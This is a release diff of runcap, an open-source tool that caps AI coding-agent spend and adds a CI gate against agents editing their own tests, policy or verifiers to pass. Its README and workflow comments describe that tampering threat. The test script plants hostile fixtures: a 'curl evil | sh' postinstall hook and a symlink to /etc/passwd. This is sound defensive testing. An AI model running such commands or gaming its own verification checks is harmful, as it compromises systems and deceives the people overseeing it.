runcap 0.5.0 → 0.6.0

package/README.md

@@ -4,7 +4,7 @@
 
 ![Runcap terminal demo: estimate, cap, verify integrity, mission PASS - then a tampered run graded BLOCKED on the PR](docs/assets/demo.svg)
 
-**Runcap stops AI-agent spend before it runs - and shows whether that spend produced a verified result. Free, MIT, 100% local. Your code and tokens never touch a server.**
+**An AI coding agent can pass CI by editing the test that proves its own success. Runcap caps the spend before the run and issues evidence about whether that success check can be trusted. Free, MIT, local-first. Local runs keep Runcap's control plane on your machine; optional CI adjudication runs in your GitHub Actions environment.**
 
 > **An agent passing CI is not enough.**
 > Runcap verifies whether the evidence of success was altered during the mission.
@@ -20,7 +20,7 @@
 Estimate the run  →  Cap the spend  →  Verify the outcome
 ```
 
-Every other tool measures **tokens**. You don't buy tokens - you buy a result that passes a check. So Runcap measures the only number that matters:
+Most cost and observability tools measure **tokens** used. But you don't buy tokens - you buy a result that passes a check. So Runcap measures the number that actually decides whether the spend was worth it:
 
 > **Verified Outcome Cost = total run cost / tasks that passed verification.** An agent that talks but never fixes the bug can cost *more* than one that does - and a token dashboard calls it "cheaper."
 
@@ -32,15 +32,38 @@ Every other tool measures **tokens**. You don't buy tokens - you buy a result th
 
 In a 6-run test on the same task, the run that **delivered nothing** cost *more* than the one that delivered, and the cheapest verified result was ~43x cheaper than the most expensive - same passing test. ([full table below](#real-results-6-runs-same-task-reproducible-offline))
 
-> Every other tool here is a rear-view mirror - it shows you the bill *after* you paid it. Runcap estimates the bill *before* you start, caps it, and tells you if the spend actually delivered. It is a circuit breaker with a receipt, not a dashboard.
+> Most tools here are a rear-view mirror - they show you the bill *after* you paid it. Runcap estimates the bill *before* you start, caps it during the run, and issues evidence about whether the declared verification can be trusted. It is a circuit breaker with a receipt, not a dashboard.
 
 > If Runcap caps a run for you or compresses a call, please **star the repo** - it is the one signal that tells me to keep building it in the open.
 
+## Make a change earn merge eligibility
+
+> AI can propose a change.
+> Runcap makes it earn merge eligibility.
+
+`runcap ci --mode adjudicate` is a required PR check that does not trust the agent or its receipt. It recomputes the merge decision in a clean CI job from the pull request's **base commit**:
+
+```text
+AI-generated PR
+  → Runcap action pinned to an immutable release commit
+  → policy / verifier / dependencies read from the PR base commit
+  → clean CI replay
+  → PASS / BLOCKED / HUMAN_APPROVAL_REQUIRED
+```
+
+- **`PASS`** - the base verifier failed, the replay passed, and the change was allowed text-only edits inside scope.
+- **`BLOCKED`** - a scope violation, an unsafe diff type (delete / rename / binary / symlink / submodule / mode change), an unresolved base/head identity, or a failed replay.
+- **`HUMAN_APPROVAL_REQUIRED`** - the change touches the policy, a workflow, a verifier file, a dependency manifest/lockfile, or a protected path. Runcap does not auto-approve changes to its own rules or evidence; a human CODEOWNER must approve.
+
+The verdict is a **CI-attested replay under a documented hardened GitHub profile**. It is *not* "unspoofable," *not* "fully independent," and it is *not* independent budget enforcement - its integrity rests on the [required GitHub setup](docs/trust-model.md#required-github-setup) being in place. The agent's receipt never decides the verdict: the required gate does not read it.
+
+See the [trust model](docs/trust-model.md#ci-adjudication-v06) for exactly what v0.6 proves and what it does not, and [Install in a consumer repo](#install-in-a-consumer-repo) to wire it up.
+
 ## Why
 
 **Agents loop on the same error, rewrite plans, and re-read files they just edited - every loop is tokens you pay for.** Multi-agent coding runs burn roughly **15x more tokens** than a single chat ([Anthropic engineering](https://www.anthropic.com/engineering/built-multi-agent-research-system)). They hand you a confident summary while the task is not actually done, and you find out what it cost when the invoice - or the subscription limit - arrives.
 
-Observability tools (Langfuse, Helicone, LangSmith, AgentOps) measure the past. Gateways (LiteLLM, Portkey, OpenRouter) route the present. None of them stop the spend *before* it happens, and none tell you whether the spend produced a verified result. Runcap does the things the rear-view mirror can't:
+Observability tools (Langfuse, Helicone, LangSmith, AgentOps) measure the past, and some run evals on outputs. Gateways (LiteLLM, Portkey, OpenRouter) route the present. What they don't do is enforce a mission policy *during* the run - a hard spend cap, allowed scope, protected verification evidence - then issue evidence about whether the agent's own success check can be trusted. Runcap does the things the rear-view mirror can't:
 
 ```text
 estimate before build  →  cap during run  →  compress every call  →  rescue when stuck  →  verify the outcome
@@ -164,7 +187,7 @@ Every request that passes through the gateway is compressed before it's forwarde
 
 1. **Per-field trim** - embedded JSON re-serialized compactly, long log/stack-trace dumps collapsed to head + tail, trailing whitespace squeezed.
 2. **Identical-block dedup** - when the exact same file dump or tool_result ships again in the same request, the repeat is replaced with a deterministic stub.
-3. **Delta-encoding of near-duplicates** - the layer no other proxy has. When the agent reads a file, edits one line, and re-reads it, the block is *similar but not identical*, so plain dedup saves nothing. Runcap sends a readable line-diff against the version the model already saw, and the model reconstructs the current file from it. On a real OpenAI call, an edited-file re-read dropped from **1186 to 737 prompt tokens - 37.9% saved, with the model still answering correctly about the changed line.** Proof and reproduction steps: [docs/delta-encoding-evidence.md](https://github.com/kirder24-code/ai-agent-manager/blob/main/docs/delta-encoding-evidence.md).
+3. **Delta-encoding of near-duplicates.** When the agent reads a file, edits one line, and re-reads it, the block is *similar but not identical*, so plain dedup saves nothing. Runcap sends a readable line-diff against the version the model already saw, and the model reconstructs the current file from it. On a real OpenAI call, an edited-file re-read dropped from **1186 to 737 prompt tokens - 37.9% saved, with the model still answering correctly about the changed line.** Proof and reproduction steps: [docs/delta-encoding-evidence.md](https://github.com/kirder24-code/ai-agent-manager/blob/main/docs/delta-encoding-evidence.md).
 
 It's pure Node with **zero native or ML dependencies** (the only runtime dependency is `js-yaml`, pure JS), so it installs everywhere without the build pain heavier compressors have.
 
@@ -301,30 +324,24 @@ runcap mission run -- claude "fix the failing checkout test, then stop"
 - spend exceeded `mission_hard_limit_usd`, or the gateway's budget guard tripped mid-run;
 - `max_llm_calls` or `max_runtime_minutes` was exceeded.
 
-### The GitHub Action (the red/green PR check)
+### The local grade vs. the CI adjudication
 
-```yaml
-# .github/workflows/runcap.yml
-jobs:
-  runcap-mission:
-    runs-on: ubuntu-latest
-    steps:
-      - uses: actions/checkout@v4
-      - uses: actions/setup-node@v4
-        with: { node-version: 20 }
-      # 1. Run the agent under the policy (produces a graded receipt + exits 1 on BLOCKED)
-      - run: npx runcap mission run -- <your agent command>
-      # 2. Grade the latest receipt against the committed policy and annotate the PR
-      - uses: kirder24-code/ai-agent-manager@v1
-        with:
-          policy: .runcap/mission.yaml
-```
+There are two ways the policy verdict reaches a PR, and they trust different things:
 
-`runcap ci` (what the Action runs) re-grades a receipt **against the committed policy text**, not whatever was stamped at run time, and appends the verdict to `$GITHUB_STEP_SUMMARY` as the PR annotation. Already have a receipt from an earlier job? Grade it directly:
+- **`runcap mission run`** (local / same-job) grades the run it just executed and re-checks it against the committed policy text. Useful, but the receipt it produces is *agent-side* evidence.
+- **`runcap ci --mode adjudicate`** (the required PR check) trusts none of that. It recomputes the verdict in a clean CI job from the PR's base commit and **never reads the agent receipt**. This is the gate that decides merge eligibility.
 
-```bash
-runcap ci --policy .runcap/mission.yaml --receipt .runcap/outcomes/<id>/receipt.json
-```
+### Install in a consumer repo
+
+Make the adjudication a required red/green PR check in your own repo:
+
+1. Add `.runcap/mission.yaml` (the policy - see the example above).
+2. Copy `examples/runcap-adjudicate.yml` into `.github/workflows/`.
+3. Replace the all-zero `RUNCAP_ACTION_SHA` placeholder with the full immutable commit SHA of the released version (resolve it with `gh api repos/kirder24-code/ai-agent-manager/git/refs/tags/vX.Y.Z --jq '.object.sha'`).
+4. Configure the hardened GitHub branch profile (protected branch, required check, up-to-date-before-merge, dismiss stale approvals, CODEOWNERS for workflow/policy/verifier/dependency/protected paths, no bypass for ordinary authors) - the full list is in the [trust model](docs/trust-model.md#required-github-setup).
+5. Make `Runcap adjudicate` a required status check.
+
+> The template ships with an all-zero placeholder SHA and is **intentionally not runnable until you insert the release SHA**. This is deliberate: the judge must be an immutable release commit that lives outside the candidate PR, so a malicious PR cannot rewrite its own judge.
 
 A reviewer sees one of two things:
 
@@ -361,20 +378,16 @@ Runcap is built not to fake certainty. Every important output carries a truth la
 
 If it cannot prove something, it says so.
 
-## Pricing (the product, not the tokens)
+## Availability
 
-| Tier | Price | What you get |
-|---|---|---|
-| **OSS** (MIT, local) | $0 forever | All local runs, cost estimation, hard cap, run wrapping, stuck detection, rescue prompts, local dashboard. Never crippleware. |
-| **Founding Pro** (limited) | **$49 once** | Lifetime Pro at the founder price - pay once, keep Pro forever, before it moves to $19/mo. |
-| **Pro** | $19/mo | Cloud sync across machines, hosted dashboard, estimate-vs-actual trends, shareable reports, alerts on cap breach |
-| **Team** | $49/seat/mo | Shared budget pools, org-wide ceilings, per-project rollups, role-based caps |
+Runcap v0.6 is open-source and free under MIT.
 
-The local core is free forever. Only persistence, collaboration, and aggregation are paid - the things that only matter once data leaves your laptop.
+The local CLI and CI adjudication mode are available now.
+Hosted sync, team budget pools, organization reporting, and paid plans are future ideas only. They are not available for purchase today.
 
 ## Current stage
 
-A working local tool, not a hosted SaaS. Ready for: wrapping real Codex / Claude / Cursor sessions, catching stuck agents, and proving rescue prompts save time. Not yet: a hosted cloud platform or a universal observability standard. It is not trying to replace Langfuse or LiteLLM - it does the thing they don't.
+A working local tool plus an optional CI adjudication mode, not a hosted SaaS. Ready for: wrapping real Codex / Claude / Cursor sessions, catching stuck agents, proving rescue prompts save time, and gating AI-generated pull requests in GitHub Actions. Not yet: a hosted cloud platform or a universal observability standard. It is not trying to replace Langfuse or LiteLLM; it focuses on a different layer - pre-run cost caps and merge-eligibility evidence.
 
 ## Documentation
 
@@ -391,4 +404,4 @@ Runcap is built and maintained by Kirill D., a solo AI and automation consultant
 
 ---
 
-The thesis: **AI agents need managers.**
+The thesis: **AI can propose a change. It should not certify its own success.**

package/bin/runcap.mjs

@@ -41,6 +41,7 @@ import {
   policyMeta,
   formatPolicyBlock
 } from "../src/policy.mjs";
+import { adjudicate, formatAdjudication, exitCodeFor } from "../src/adjudicate.mjs";
 import { readFileSync, appendFileSync } from "node:fs";
 
 const args = process.argv.slice(2);
@@ -61,6 +62,9 @@ Usage:
                                  (enforce the repo policy; exit 1 if the mission is BLOCKED)
   runcap ci [--policy path] [--receipt path]
                                  (grade a receipt against the policy; writes PR summary, exit 1 on BLOCKED)
+  runcap ci --mode adjudicate [--policy path] [--base sha --head sha]
+                                 (Tier 3: recompute the verdict in CI from the PR's base commit -
+                                  never trusts the agent's receipt; exit 1 on BLOCKED)
   runcap plans
   runcap cap <usd>               (set the hard cap the gateway enforces)
   runcap cap show                (show the current cap)
@@ -311,32 +315,46 @@ try {
     if (result.receipt.policy?.verdict === "BLOCKED") process.exitCode = 1;
   } else if (command === "ci") {
     const ciArgs = args.slice(1);
+    const mode = takeOption(ciArgs, "--mode");
     const policyPath = takeOption(ciArgs, "--policy");
     const receiptPath = takeOption(ciArgs, "--receipt");
 
-    const loaded = loadPolicy(process.cwd(), policyPath);
-    if (!loaded) throw new Error("No policy found. Create .runcap/mission.yaml (or pass --policy <path>).");
-    const { ok, errors } = validatePolicy(loaded.policy);
-    if (!ok) {
-      for (const e of errors) console.error(`  policy error: ${e}`);
-      writeCiSummary(["## Runcap mission: policy INVALID", "", ...errors.map((e) => `- ${e}`)].join("\n"));
-      throw new Error("Mission policy is invalid.");
-    }
-
-    let receipt;
-    if (receiptPath) {
-      receipt = JSON.parse(readFileSync(receiptPath, "utf8"));
+    if (mode === "adjudicate") {
+      // Tier 3: recompute the verdict from the BASE commit of the PR in a clean
+      // checkout. Trusts only the base/head SHAs from the pull_request event (or
+      // explicit --base/--head for local runs); never the agent's receipt.
+      const baseFlag = takeOption(ciArgs, "--base");
+      const headFlag = takeOption(ciArgs, "--head");
+      const verdict = await adjudicate({ cwd: process.cwd(), baseFlag, headFlag, policyPath });
+      const lines = formatAdjudication(verdict);
+      console.log(lines.join("\n"));
+      writeCiSummary(["## Runcap CI adjudication: " + verdict.verdict, "", "```", ...lines, "```"].join("\n"));
+      process.exitCode = exitCodeFor(verdict.verdict);
     } else {
-      const id = await latestOutcomeId();
-      if (!id) throw new Error("No outcome receipt found. Run `runcap mission run ...` first, or pass --receipt <path>.");
-      receipt = JSON.parse(readFileSync(`.runcap/outcomes/${id}/receipt.json`, "utf8"));
-    }
+      const loaded = loadPolicy(process.cwd(), policyPath);
+      if (!loaded) throw new Error("No policy found. Create .runcap/mission.yaml (or pass --policy <path>).");
+      const { ok, errors } = validatePolicy(loaded.policy);
+      if (!ok) {
+        for (const e of errors) console.error(`  policy error: ${e}`);
+        writeCiSummary(["## Runcap mission: policy INVALID", "", ...errors.map((e) => `- ${e}`)].join("\n"));
+        throw new Error("Mission policy is invalid.");
+      }
+
+      let receipt;
+      if (receiptPath) {
+        receipt = JSON.parse(readFileSync(receiptPath, "utf8"));
+      } else {
+        const id = await latestOutcomeId();
+        if (!id) throw new Error("No outcome receipt found. Run `runcap mission run ...` first, or pass --receipt <path>.");
+        receipt = JSON.parse(readFileSync(`.runcap/outcomes/${id}/receipt.json`, "utf8"));
+      }
 
-    const verdict = evaluatePolicyVerdict(receipt, loaded.policy);
-    const block = formatPolicyBlock({ ...policyMeta(loaded), ...verdict });
-    console.log(block.join("\n"));
-    writeCiSummary(["## Runcap mission verdict: " + verdict.verdict, "", "```", ...block, "```"].join("\n"));
-    if (verdict.verdict === "BLOCKED") process.exitCode = 1;
+      const verdict = evaluatePolicyVerdict(receipt, loaded.policy);
+      const block = formatPolicyBlock({ ...policyMeta(loaded), ...verdict });
+      console.log(block.join("\n"));
+      writeCiSummary(["## Runcap mission verdict: " + verdict.verdict, "", "```", ...block, "```"].join("\n"));
+      if (verdict.verdict === "BLOCKED") process.exitCode = 1;
+    }
   } else if (command === "login") {
     console.log(await loginCommand(args[1]));
   } else if (command === "logout") {

package/examples/runcap-adjudicate.yml

@@ -0,0 +1,57 @@
+# Reference workflow: drop this into a CONSUMER repo at
+# .github/workflows/runcap-adjudicate.yml to make Runcap's independent verdict a
+# required red/green PR check.
+#
+# The whole point of Tier 3 is that the JUDGE is not the candidate. This
+# workflow therefore NEVER runs code from the pull request's workspace - no
+# `node ./bin/runcap.mjs`, no `uses: ./`, no `npm ci` of the PR's manifest. The
+# adjudicator comes only from the Runcap action pinned by a FULL 40-character
+# commit SHA, so a malicious PR cannot rewrite its own judge. The checkout below
+# brings in the PR's git history purely as DATA: the adjudicator reads the base
+# commit's policy and replays the base-pinned verifier in a clean worktree it
+# creates itself. Workspace files are never executed as the judge.
+#
+# Security posture (every line is load-bearing):
+#   - `on: pull_request` (NOT pull_request_target): a fork PR runs with a
+#     read-only token and no access to repo secrets.
+#   - `permissions: contents: read`: the only scope granted.
+#   - Every action pinned by full commit SHA, never a floating tag, so the bytes
+#     that run are immutable.
+#   - `persist-credentials: false`: the checkout token is not left on disk for
+#     PR-controlled steps to find.
+#   - GitHub-hosted runner, capped runtime, single self-sufficient required
+#     check with no `needs:` on any upstream job.
+#
+# Pin RUNCAP_ACTION_SHA to the commit a Runcap release tag points at. Resolve it
+# with:  gh api repos/kirder24-code/ai-agent-manager/git/refs/tags/vX.Y.Z --jq '.object.sha'
+name: Runcap adjudicate
+
+on:
+  pull_request:
+
+permissions:
+  contents: read
+
+jobs:
+  adjudicate:
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout (full history so the base commit is available, no token left on disk)
+        uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
+        with:
+          fetch-depth: 0
+          persist-credentials: false
+
+      - name: Setup Node
+        uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
+        with:
+          node-version: 22
+
+      # The judge: the Runcap action pinned by a full commit SHA. Replace the SHA
+      # below with the commit a published Runcap release tag points at. This is
+      # the ONLY code that decides the verdict, and it cannot come from the PR.
+      - name: Runcap independent adjudication
+        uses: kirder24-code/ai-agent-manager@0000000000000000000000000000000000000000 # pin to a release SHA
+        with:
+          mode: adjudicate

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "runcap",
-  "version": "0.5.0",
-  "description": "Cap every agent run before it starts: estimate cost, set a hard ceiling that stops the run, rescue stuck agents. Local, MIT, nothing uploaded.",
+  "version": "0.6.0",
+  "description": "Policy-bound budget enforcement and verification-integrity evidence for AI coding agents. Cap spend, enforce allowed scope, and fail the pull request when an agent tampers with its own success check. Local, MIT.",
   "license": "MIT",
   "type": "module",
   "author": "Kirill D. <kirill@launchsoloai.com> (https://launchsoloai.com)",
@@ -15,16 +15,18 @@
   },
   "keywords": [
     "ai",
-    "agent",
-    "coding-agent",
-    "cost",
+    "ai-coding-agent",
+    "ai-agent-governance",
+    "agent-security",
+    "verification-integrity",
+    "policy-as-code",
+    "github-actions",
+    "ci",
+    "pull-request",
     "budget",
-    "claude",
-    "openai",
-    "gateway",
+    "cost",
     "cli",
-    "llm",
-    "token-cost"
+    "llm"
   ],
   "files": [
     "bin/",
@@ -45,11 +47,12 @@
     "acceptance": "node ./scripts/acceptance.mjs",
     "smoke": "node ./bin/runcap.mjs run --label smoke -- npm --prefix examples/broken-ts-app run build",
     "demo:broken": "node ./bin/runcap.mjs run --label broken-ts-demo -- npm --prefix examples/broken-ts-app run build",
-    "test": "node ./scripts/delta-test.mjs && node ./scripts/loop-test.mjs && node ./scripts/loop-e2e.mjs && node ./scripts/validate-demo.mjs && node ./scripts/outcome-test.mjs && node ./scripts/guard-test.mjs && node ./scripts/policy-test.mjs && node ./scripts/mission-test.mjs",
+    "test": "node ./scripts/delta-test.mjs && node ./scripts/loop-test.mjs && node ./scripts/loop-e2e.mjs && node ./scripts/validate-demo.mjs && node ./scripts/outcome-test.mjs && node ./scripts/guard-test.mjs && node ./scripts/policy-test.mjs && node ./scripts/mission-test.mjs && node ./scripts/adjudicate-test.mjs",
     "test:outcome": "node ./scripts/outcome-test.mjs",
     "test:guard": "node ./scripts/guard-test.mjs",
     "test:policy": "node ./scripts/policy-test.mjs",
     "test:mission": "node ./scripts/mission-test.mjs",
+    "test:tier3": "node ./scripts/adjudicate-test.mjs",
     "outcome": "node ./bin/runcap.mjs outcome",
     "test:delta": "node ./scripts/delta-test.mjs",
     "test:loop": "node ./scripts/loop-test.mjs",
@@ -61,7 +64,7 @@
     "screenshots": "node ./scripts/render-media-screenshots.mjs",
     "gateway": "node ./bin/runcap.mjs gateway",
     "fuel": "node ./bin/runcap.mjs fuel",
-    "check": "node --check ./bin/runcap.mjs && node --check ./src/mission-control.mjs"
+    "check": "node --check ./bin/runcap.mjs && node --check ./src/mission-control.mjs && node --check ./src/adjudicate.mjs"
   },
   "engines": {
     "node": ">=20"

package/scripts/adjudicate-test.mjs

@@ -0,0 +1,334 @@
+// Tier 3: proves the CI adjudicator recomputes the verdict from the PR's BASE
+// commit and never trusts the agent's receipt. Everything runs offline inside a
+// throwaway git repo. The adjudicator is driven both directly (the function) and
+// through the real `bin/runcap.mjs ci --mode adjudicate` so the exit codes a
+// reviewer's PR check would see are tested too.
+//
+// Verdict semantics under test:
+//   PASS                    -> exit 0
+//   BLOCKED                 -> exit 1
+//   HUMAN_APPROVAL_REQUIRED -> exit 0 (success/neutral: hands authority to a CODEOWNER)
+//
+// Threat scenarios: forged receipt, forged budget telemetry, no telemetry,
+// honest pass, out-of-scope edit, baseline-already-green, clean-replay fail,
+// protected/verifier/policy/workflow/dependency human gates, unresolved SHA,
+// untrusted event, diff-smuggling (delete/symlink/binary), and two honesty
+// checks: the verdict never claims runtime hardening attestation, and the
+// dependency install is pinned + script-free.
+
+import os from "node:os";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { execFileSync } from "node:child_process";
+import { mkdtempSync, writeFileSync, mkdirSync, rmSync, readFileSync, symlinkSync } from "node:fs";
+
+const HERE = path.dirname(fileURLToPath(import.meta.url));
+const SRC_DIR = process.env.RUNCAP_SRC ?? path.join(HERE, "..", "src");
+const BIN = path.join(SRC_DIR, "..", "bin", "runcap.mjs");
+const REPO_ROOT = path.join(HERE, "..");
+
+const tmp = mkdtempSync(path.join(os.tmpdir(), "runcap-adj-"));
+process.chdir(tmp);
+
+let failures = 0;
+const check = (name, pass, detail) => { if (!pass) failures++; console.log(`${pass ? "PASS" : "FAIL"}  ${name}${detail ? "  - " + detail : ""}`); };
+
+const g = (...a) => execFileSync("git", a, { cwd: tmp, stdio: "pipe" }).toString().trim();
+
+// --- base commit: a real failing task, a verifier, a policy, scope app/ -----
+mkdirSync(path.join(tmp, "app"), { recursive: true });
+mkdirSync(path.join(tmp, ".runcap"), { recursive: true });
+writeFileSync(path.join(tmp, "app", "broken.mjs"), "export const ok = false;\n");
+writeFileSync(path.join(tmp, "app", "verify.mjs"),
+  "import { ok } from './broken.mjs'; import assert from 'node:assert'; assert.strictEqual(ok, true, 'not fixed'); console.log('ok');\n");
+writeFileSync(path.join(tmp, "app", "other.mjs"), "export const other = 0;\n");
+writeFileSync(path.join(tmp, "rootfile.txt"), "root\n");
+writeFileSync(path.join(tmp, "package.json"), JSON.stringify({ name: "fixture", version: "1.0.0", scripts: { build: "echo build" } }, null, 2) + "\n");
+writeFileSync(path.join(tmp, ".runcap", "mission.yaml"), `version: v1
+identity:
+  project: checkout
+  team: payments
+mission:
+  name: Fix the failing checkout test
+  task_class: bugfix
+budget:
+  mission_hard_limit_usd: 5
+verification:
+  command: "node app/verify.mjs"
+  guard: strict
+  protect: ["app/verify.mjs"]
+  allow: ["app/"]
+`);
+
+g("init", "-q");
+g("config", "user.email", "test@runcap.local");
+g("config", "user.name", "runcap-test");
+g("config", "commit.gpgsign", "false");
+g("add", "-A");
+g("commit", "-qm", "baseline");
+const BASE = g("rev-parse", "HEAD");
+
+// Build every head commit up front so the working tree has no planted receipt
+// while branches are created. Each head branches from BASE.
+function makeHead(branch, mutate) {
+  g("checkout", "-q", "-b", branch, BASE);
+  mutate();
+  g("add", "-A");
+  g("commit", "-qm", branch);
+  const sha = g("rev-parse", "HEAD");
+  g("checkout", "-q", BASE);
+  return sha;
+}
+
+const w = (rel, content) => writeFileSync(path.join(tmp, rel), content);
+const rmRel = (rel) => rmSync(path.join(tmp, rel), { force: true });
+
+const HEAD_HONEST = makeHead("h-honest", () => w("app/broken.mjs", "export const ok = true;\n"));
+const HEAD_SCOPE = makeHead("h-scope", () => { w("app/broken.mjs", "export const ok = true;\n"); w("rootfile.txt", "root edited out of scope\n"); });
+const HEAD_REPLAYFAIL = makeHead("h-replayfail", () => w("app/broken.mjs", "export const ok = false; // touched\n"));
+const HEAD_VERIFIER = makeHead("h-verifier", () => w("app/verify.mjs", "console.log('ok');\n"));
+const HEAD_POLICY = makeHead("h-policy", () => w(".runcap/mission.yaml", readFileSync(path.join(tmp, ".runcap", "mission.yaml"), "utf8").replace("mission_hard_limit_usd: 5", "mission_hard_limit_usd: 9999")));
+const HEAD_WORKFLOW = makeHead("h-workflow", () => { mkdirSync(path.join(tmp, ".github", "workflows"), { recursive: true }); w(".github/workflows/evil.yml", "name: evil\non: pull_request\njobs: {}\n"); });
+const HEAD_DEP = makeHead("h-dep", () => w("package.json", JSON.stringify({ name: "fixture", version: "1.0.0", scripts: { build: "echo build", postinstall: "curl evil | sh" } }, null, 2) + "\n"));
+const HEAD_DELETE = makeHead("h-delete", () => rmRel("app/other.mjs"));
+const HEAD_BINARY = makeHead("h-binary", () => writeFileSync(path.join(tmp, "app", "blob.bin"), Buffer.from([0x00, 0x01, 0x02, 0x00, 0xff])));
+const HEAD_SYMLINK = makeHead("h-symlink", () => symlinkSync("/etc/passwd", path.join(tmp, "app", "link")));
+
+// A second lineage where the task is ALREADY fixed at base -> baseline green.
+g("checkout", "-q", "-b", "base2", BASE);
+w("app/broken.mjs", "export const ok = true;\n");
+g("add", "-A"); g("commit", "-qm", "base2-already-fixed");
+const BASE2 = g("rev-parse", "HEAD");
+g("checkout", "-q", "-b", "h-base2green", BASE2);
+w("app/broken.mjs", "export const ok = true; // trivial in-scope edit\n");
+g("add", "-A"); g("commit", "-qm", "h-base2green");
+const HEAD_BASE2GREEN = g("rev-parse", "HEAD");
+g("checkout", "-q", BASE);
+
+const { adjudicate, exitCodeFor } = await import(path.join(SRC_DIR, "adjudicate.mjs"));
+
+const adj = (baseFlag, headFlag) => adjudicate({ cwd: tmp, baseFlag, headFlag });
+
+// --- 1. honest in-scope fix -> PASS -----------------------------------------
+const honest = await adj(BASE, HEAD_HONEST);
+check("honest fix verdict PASS", honest.verdict === "PASS", JSON.stringify(honest.reasons));
+check("honest fix recomputed baseline_failed=true", honest.code_evidence?.baseline_failed === true);
+check("honest fix recomputed replay_passed=true", honest.code_evidence?.replay_passed === true);
+check("honest fix carries base policy hash", /^[0-9a-f]{64}$/.test(honest.policy?.hash ?? ""), honest.policy?.hash);
+check("honest fix truth is adjudicator-recomputed", honest.truth === "recomputed_by_adjudicator_from_base_sha");
+check("no telemetry present -> agent_telemetry.present false", honest.agent_telemetry?.present === false);
+
+// --- 2. out-of-scope edit -> BLOCKED ----------------------------------------
+const scope = await adj(BASE, HEAD_SCOPE);
+check("out-of-scope edit verdict BLOCKED", scope.verdict === "BLOCKED", JSON.stringify(scope.reasons));
+check("out-of-scope names the path + scope", scope.reasons.some((r) => r.includes("rootfile.txt") && r.toLowerCase().includes("scope")), JSON.stringify(scope.reasons));
+
+// --- 3. baseline already green -> BLOCKED -----------------------------------
+const green = await adj(BASE2, HEAD_BASE2GREEN);
+check("baseline-already-green verdict BLOCKED", green.verdict === "BLOCKED", JSON.stringify(green.reasons));
+check("baseline-already-green explains the meaningless pass", green.reasons.some((r) => r.toLowerCase().includes("baseline already green")), JSON.stringify(green.reasons));
+
+// --- 4. clean replay does not reproduce the pass -> BLOCKED -----------------
+const replayfail = await adj(BASE, HEAD_REPLAYFAIL);
+check("clean-replay-fail verdict BLOCKED", replayfail.verdict === "BLOCKED", JSON.stringify(replayfail.reasons));
+check("clean-replay-fail recomputed replay_passed=false", replayfail.code_evidence?.replay_passed === false);
+check("clean-replay-fail says replay did not pass", replayfail.reasons.some((r) => r.toLowerCase().includes("replay did not pass")), JSON.stringify(replayfail.reasons));
+
+// --- 5. verifier edit -> HUMAN_APPROVAL_REQUIRED ----------------------------
+const verifier = await adj(BASE, HEAD_VERIFIER);
+check("verifier edit verdict HUMAN_APPROVAL_REQUIRED", verifier.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(verifier.reasons));
+check("verifier edit names verify file as evidence", verifier.reasons.some((r) => r.includes("app/verify.mjs")), JSON.stringify(verifier.reasons));
+
+// --- 6. policy edit -> HUMAN_APPROVAL_REQUIRED ------------------------------
+const pol = await adj(BASE, HEAD_POLICY);
+check("policy edit verdict HUMAN_APPROVAL_REQUIRED", pol.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(pol.reasons));
+check("policy edit names the rules", pol.reasons.some((r) => r.toLowerCase().includes("rules")), JSON.stringify(pol.reasons));
+
+// --- 7. workflow edit -> HUMAN_APPROVAL_REQUIRED ----------------------------
+const wf = await adj(BASE, HEAD_WORKFLOW);
+check("workflow edit verdict HUMAN_APPROVAL_REQUIRED", wf.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(wf.reasons));
+
+// --- 8. dependency manifest edit -> HUMAN_APPROVAL_REQUIRED -----------------
+const dep = await adj(BASE, HEAD_DEP);
+check("dependency edit verdict HUMAN_APPROVAL_REQUIRED", dep.verdict === "HUMAN_APPROVAL_REQUIRED", JSON.stringify(dep.reasons));
+check("dependency edit names manifest/lockfile", dep.reasons.some((r) => r.toLowerCase().includes("dependency")), JSON.stringify(dep.reasons));
+
+// --- 9-11. diff smuggling -> BLOCKED ----------------------------------------
+const del = await adj(BASE, HEAD_DELETE);
+check("delete verdict BLOCKED", del.verdict === "BLOCKED", JSON.stringify(del.reasons));
+check("delete reason names deletion", del.reasons.some((r) => r.toLowerCase().includes("delet")), JSON.stringify(del.reasons));
+
+const bin = await adj(BASE, HEAD_BINARY);
+check("binary file verdict BLOCKED", bin.verdict === "BLOCKED", JSON.stringify(bin.reasons));
+check("binary reason names binary", bin.reasons.some((r) => r.toLowerCase().includes("binary")), JSON.stringify(bin.reasons));
+
+const sym = await adj(BASE, HEAD_SYMLINK);
+check("symlink verdict BLOCKED", sym.verdict === "BLOCKED", JSON.stringify(sym.reasons));
+check("symlink reason names symlink", sym.reasons.some((r) => r.toLowerCase().includes("symlink")), JSON.stringify(sym.reasons));
+
+// --- 12. unresolved SHA -> BLOCKED (no flags, no event) ---------------------
+const prevEventPath = process.env.GITHUB_EVENT_PATH;
+const prevEventName = process.env.GITHUB_EVENT_NAME;
+delete process.env.GITHUB_EVENT_PATH;
+delete process.env.GITHUB_EVENT_NAME;
+const unresolved = await adjudicate({ cwd: tmp });
+check("unresolved base/head verdict BLOCKED", unresolved.verdict === "BLOCKED", JSON.stringify(unresolved.reasons));
+check("unresolved refuses to adjudicate", unresolved.reasons.some((r) => r.toLowerCase().includes("refusing to adjudicate")), JSON.stringify(unresolved.reasons));
+
+// --- 13. untrusted event (pull_request_target) -> BLOCKED -------------------
+const eventFile = path.join(tmp, "event.json");
+writeFileSync(eventFile, JSON.stringify({ pull_request: { base: { sha: BASE }, head: { sha: HEAD_HONEST } } }));
+process.env.GITHUB_EVENT_PATH = eventFile;
+process.env.GITHUB_EVENT_NAME = "pull_request_target";
+const untrusted = await adjudicate({ cwd: tmp });
+check("pull_request_target event verdict BLOCKED", untrusted.verdict === "BLOCKED", JSON.stringify(untrusted.reasons));
+check("untrusted event names the rejected event", untrusted.sha_source?.startsWith("untrusted_event"), untrusted.sha_source);
+// Restore env.
+if (prevEventPath === undefined) delete process.env.GITHUB_EVENT_PATH; else process.env.GITHUB_EVENT_PATH = prevEventPath;
+if (prevEventName === undefined) delete process.env.GITHUB_EVENT_NAME; else process.env.GITHUB_EVENT_NAME = prevEventName;
